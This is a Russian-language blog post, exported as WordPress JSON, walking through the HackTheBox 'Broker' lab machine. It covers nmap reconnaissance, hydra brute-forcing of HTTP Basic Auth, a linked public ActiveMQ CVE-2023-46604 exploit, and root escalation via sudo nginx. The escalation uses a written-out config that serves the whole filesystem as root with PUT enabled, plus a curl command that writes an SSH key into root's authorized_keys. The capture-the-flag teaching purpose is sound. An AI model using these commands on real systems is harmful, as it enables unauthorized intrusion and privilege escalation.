{"id":956,"date":"2023-12-23T18:00:00","date_gmt":"2023-12-23T15:00:00","guid":{"rendered":"https:\/\/seq.team\/?p=956"},"modified":"2025-12-02T15:15:34","modified_gmt":"2025-12-02T12:15:34","slug":"razbor-hackthebox-broker-easy","status":"publish","type":"post","link":"https:\/\/seq.team\/en\/blog\/razbor-hackthebox-broker-easy\/","title":{"rendered":"\u0420\u0430\u0437\u0431\u043e\u0440 HackTheBox &#8211; Broker (Easy)"},"content":{"rendered":"\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:66.66%\">\n<figure class=\"wp-block-table\"><table><tbody><tr><td class=\"has-text-align-left\" data-align=\"left\">\u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c:<\/td><td>Easy<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">\u041e\u0421:<\/td><td>Linux<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">\u0411\u0430\u043b\u043b\u044b:<\/td><td>20<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">IP:<\/td><td>10.10.11.243<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">\u0422\u0435\u0433\u0438:<\/td><td>ActiveMQ, HTTP Basic Auth Bruteforce, CVE-2023-46604, nginx LPE<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:33.33%\"><\/div>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f<\/h3>\n\n\n\n<p>\u0412\u0441\u043b\u0435\u0434 \u0437\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u044d\u0442\u0430\u043f\u0430 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c HTTP Basic Auth \u043d\u0430 \u043f\u043e\u0440\u0442\u0430\u0445 80, 8161, 61614. \u0423\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0423\u0417 <code><strong>admin:admin<\/strong><\/code> \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e \u041f\u041e <code>Apache ActiveMQ<\/code> \u0432\u0435\u0440\u0441\u0438\u0438 5.15.15, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043a <code>CVE-2023-46604<\/code>. \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u043c \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u043b\u0438\u0446\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>activemq<\/strong><\/code>, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0435\u0433\u043e \u0444\u043b\u0430\u0433. \u0417\u0430\u0442\u0435\u043c, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 <code>nginx<\/code> \u043e\u0442 \u043b\u0438\u0446\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>root<\/strong><\/code> \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f. \u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c <code>nginx<\/code> \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043d\u0430\u043c \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043f\u0430\u043f\u043a\u0443 <code>\/root<\/code>. \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u044d\u0442\u0438\u043c \u0438 \u0437\u0430\u043f\u0438\u0448\u0435\u043c \u0441\u0432\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 ssh \u043a\u043b\u044e\u0447 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043a \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 <strong><code>root <\/code><\/strong>\u0438  \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0444\u043b\u0430\u0433.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0424\u0430\u0437\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438<\/h3>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0434\u0451\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0446\u0435\u043b\u0438: <\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><code>nmap -sS -p- 10.10.11.243<\/code><\/p>\n<\/blockquote>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><\/blockquote>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nPORT      STATE SERVICE\n22\/tcp    open  ssh\n80\/tcp    open  http\n1883\/tcp  open  mqtt\n5672\/tcp  open  amqp\n8161\/tcp  open  patrol-snmp\n41191\/tcp open  unknown\n61614\/tcp open  unknown\n61616\/tcp open  unknown\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e: <\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>nmap -sVC -O -p22,80,1883,5672,8161,41191,61614,61616 10.10.11.243<\/p>\n<\/blockquote>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nPORT      STATE SERVICE    VERSION\n22\/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)\n|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)\n80\/tcp    open  http       nginx 1.18.0 (Ubuntu)\n|_http-server-header: nginx\/1.18.0 (Ubuntu)\n|_http-title: Error 401 Unauthorized\n| http-auth: \n| HTTP\/1.1 401 Unauthorized\\x0D\n|_  basic realm=ActiveMQRealm\n1883\/tcp  open  mqtt\n| mqtt-subscribe: \n|   Topics and their most recent payloads: \n|     ActiveMQ\/Advisory\/MasterBroker: \n|_    ActiveMQ\/Advisory\/Consumer\/Topic\/#: \n5672\/tcp  open  amqp?\n| fingerprint-strings: \n|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: \n|     AMQP\n|     AMQP\n|     amqp:decode-error\n|_    7Connection from client using unsupported AMQP attempted\n|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65\n8161\/tcp  open  http       Jetty 9.4.39.v20210325\n|_http-title: Error 401 Unauthorized\n| http-auth: \n| HTTP\/1.1 401 Unauthorized\\x0D\n|_  basic realm=ActiveMQRealm\n|_http-server-header: Jetty(9.4.39.v20210325)\n41191\/tcp open  tcpwrapped\n61614\/tcp open  http       Jetty 9.4.39.v20210325\n|_http-title: Site doesn't have a title.\n| http-methods: \n|_  Potentially risky methods: TRACE\n|_http-server-header: Jetty(9.4.39.v20210325)\n61616\/tcp open  apachemq   ActiveMQ OpenWire transport\n| fingerprint-strings: \n|   NULL: \n|     ActiveMQ\n|     TcpNoDelayEnabled\n|     SizePrefixDisabled\n|     CacheSize\n|     ProviderName \n|     ActiveMQ\n|     StackTraceEnabled\n|     PlatformDetails \n|     Java\n|     CacheEnabled\n|     TightEncodingEnabled\n|     MaxFrameSize\n|     MaxInactivityDuration\n|     MaxInactivityDurationInitalDelay\n|     ProviderVersion \n|_    5.15.15\n<\/pre><\/div>\n\n\n<p>\u041f\u043e\u0441\u0435\u0442\u0438\u043c \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043d\u0430 80 \u043f\u043e\u0440\u0442\u0443, \u0432\u044b\u0434\u0430\u0432\u0448\u0438\u0439 401 \u043e\u0448\u0438\u0431\u043a\u0443 (Unauthorized):<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/12\/image.png\" alt=\"\" class=\"wp-image-957\" width=\"900\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0421\u0443\u0434\u044f \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u0438 HTTP Basic Auth \u043f\u0440\u0438\u0434\u0451\u0442\u0441\u044f \u0438\u0441\u043a\u0430\u0442\u044c \u0438\u043b\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u0434\u0431\u043e\u0440 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f. \u0422\u0430\u043a\u0436\u0435, \u0437\u0430\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u043c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u0432 \u0431\u0430\u0437\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u0445 Nmap \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0446\u0435\u043b\u0438 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0435\u0440\u0432\u0438\u0441 <strong>ActiveMQ\/AMQP\/Apache ActiveMQ<\/strong>. \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u043e\u0432.<\/p>\n\n\n\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u043d\u0430 \u043f\u043e\u0440\u0442\u0430\u0445 8161 \u0438 61614 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 HTTP Basic Auth:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/12\/image-1.png\" alt=\"\" class=\"wp-image-958\" width=\"900\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0433\u043e \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u043b\u043e\u0433\u0438\u043d\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>hydra<\/code>:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><code>hydra -L \/usr\/share\/seclists\/Usernames\/xato-net-10-million-usernames.txt -P \/usr\/share\/seclists\/Passwords\/xato-net-10-million-passwords-10000.txt -f 10.10.11.243 http-get<\/code><\/p>\n<\/blockquote>\n\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c: <strong><code>admin:admin<\/code><\/strong><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/12\/image-2.png\" alt=\"\" class=\"wp-image-959\" width=\"900\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0439 \u0423\u0417 \u0438 \u0434\u0430\u043b\u0435\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c \u0441\u0435\u0440\u0432\u0438\u0441:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/12\/image-3.png\" alt=\"\" class=\"wp-image-960\" width=\"900\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e CVE-2023-46604<\/h3>\n\n\n\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0443\u0431\u0435\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0438\u0441<code> Apache Active MQ<\/code>, \u0443\u0437\u043d\u0430\u043b\u0438 \u0435\u0433\u043e \u0432\u0435\u0440\u0441\u0438\u044e (<code>5.15.15<\/code>), ID<strong> <\/strong>(<code>broker-39507-1703165235580-0:1<\/code>). \u0414\u0430\u043b\u0435\u0435, \u0437\u0430\u0439\u043c\u0451\u043c\u0441\u044f \u043f\u043e\u0438\u0441\u043a\u043e\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 ActiveMQ \u0438\u043b\u0438 Jetty 9.4.39.v20210325.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/12\/image-4.png\" alt=\"\" class=\"wp-image-961\" width=\"600\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Apache ActiveMQ &#8211; <code>CVE-2023-46604<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435. \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u043c, \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0432 \u0441\u0440\u0435\u0434\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043a\u0430\u043a \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430: <a href=\"https:\/\/github.com\/duck-sec\/CVE-2023-46604-ActiveMQ-RCE-pseudoshell\">https:\/\/github.com\/duck-sec\/CVE-2023-46604-ActiveMQ-RCE-pseudoshell<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/12\/image-5.png\" alt=\"\" class=\"wp-image-962\" width=\"900\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0423\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0444\u043b\u0430\u0433 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>activemq<\/strong><\/code>:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/12\/image-6.png\" alt=\"\" class=\"wp-image-963\" width=\"900\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0434\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root<\/h3>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0442\u0435\u043a\u0443\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b <code>netstat -tulpn<\/code><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/12\/image-7.png\" alt=\"\" class=\"wp-image-965\" width=\"900\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c <code><strong>activemq<\/strong> <\/code>\u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c <code><strong>nginx<\/strong><\/code> \u043e\u0442 \u043b\u0438\u0446\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>root<\/strong><\/code> \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/12\/image-8.png\" alt=\"\" class=\"wp-image-966\" width=\"900\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root \u043f\u0440\u0430\u0432 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435:<\/p>\n\n\n\n<p>1. \u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0444\u0430\u0439\u043b <code>malicious.conf<\/code>  \u0441\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u0435\u0433\u043e \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nuser root;\nevents {\n    worker_connections 100;\n}\nhttp {\n    server {\n        listen 7331;\n        root \/;\n        autoindex on;\n        dav_methods PUT;\n    }\n}\n<\/pre><\/div>\n\n\n<p>\u0414\u0430\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 nginx \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c PUT \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0447\u0435\u0433\u043e \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 <code>\/root\/.ssh\/autorized_keys<\/code><\/p>\n\n\n\n<p>2.  \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <code>sudo \/usr\/sbin\/nginx -c \/tmp\/malicious.conf<\/code> \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435<\/p>\n\n\n\n<p>3.  \u0414\u043e\u0431\u0430\u0432\u0438\u043c \u0441\u0432\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\ncurl -X PUT localhost:7331\/root\/.ssh\/authorized_keys -d 'your_pub_key_goes_here'\n<\/pre><\/div>\n\n\n<p>4. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043f\u043e ssh \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/12\/image-9.png\" alt=\"\" class=\"wp-image-967\" width=\"900\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0423\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 <code>root<\/code> \u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u043b\u0430\u0433!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0421\u0441\u044b\u043b\u043a\u0438:<\/h3>\n\n\n\n<p><a href=\"https:\/\/habr.com\/ru\/articles\/471268\/\">https:\/\/habr.com\/ru\/articles\/471268\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-46604\">https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-46604<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/duck-sec\/CVE-2023-46604-ActiveMQ-RCE-pseudoshell\">https:\/\/github.com\/duck-sec\/CVE-2023-46604-ActiveMQ-RCE-pseudoshell<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c: Easy \u041e\u0421: Linux \u0411\u0430\u043b\u043b\u044b: 20 IP: 10.10.11.243 \u0422\u0435\u0433\u0438: ActiveMQ, HTTP Basic Auth Bruteforce, CVE-2023-46604, nginx LPE \u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0412\u0441\u043b\u0435\u0434 \u0437\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u044d\u0442\u0430\u043f\u0430 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c HTTP Basic Auth \u043d\u0430 \u043f\u043e\u0440\u0442\u0430\u0445 80, 8161, 61614. \u0423\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0423\u0417 admin:admin \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u043e\u0442\u043a\u0443\u0434\u0430 